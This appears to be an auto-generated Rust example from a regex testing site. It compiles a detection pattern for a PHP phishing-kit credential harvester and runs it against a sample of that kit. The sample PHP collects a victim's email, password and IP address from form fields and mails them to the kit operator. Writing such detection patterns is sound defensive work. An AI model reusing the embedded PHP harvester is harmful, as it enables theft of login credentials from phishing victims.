// include the latest version of the regex crate in your Cargo.toml
extern crate regex;
use regex::Regex;
fn main() {
let regex = Regex::new(r#"(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['"]REMOTE_ADDR["']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[["']up_email["']\]\."\\n";\s*\1['"]\s*Password.{0,50}?\1['"]confirm\s*password.{0,90}?\1['"]\-+created\s*by\s*burhan\-+\\n["'];\s*include\s*["']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['"]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$"#).unwrap();
let string = "<?
$ip = getenv(\"REMOTE_ADDR\");
$message .= \"--------------New Login--------\\n\";
$message .= \"Email-ID : \".$_POST['up_email'].\"\\n\";
$message .= \" Password : \".$_POST['up__X_PASSWORD'].\"\\n\";
$message .= \"confirm password : \".$_POST['Password'].\"\\n\";
$message .= \"Client IP : \".$ip.\"\\n\";
$message .= \"---------------Created BY Burhan-----------\\n\";
include 'email.php';
$subject = \"--New Log $ip \";
mail($to,$subject,$message,$headers);
header (\"Location: incorrect.php?email=$email\".$_POST['up_email']);
?>";
// result will be an iterator over tuples containing the start and end indices for each match in the string
let result = regex.captures_iter(string);
for mat in result {
println!("{:?}", mat);
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Rust, please visit: https://docs.rs/regex/latest/regex/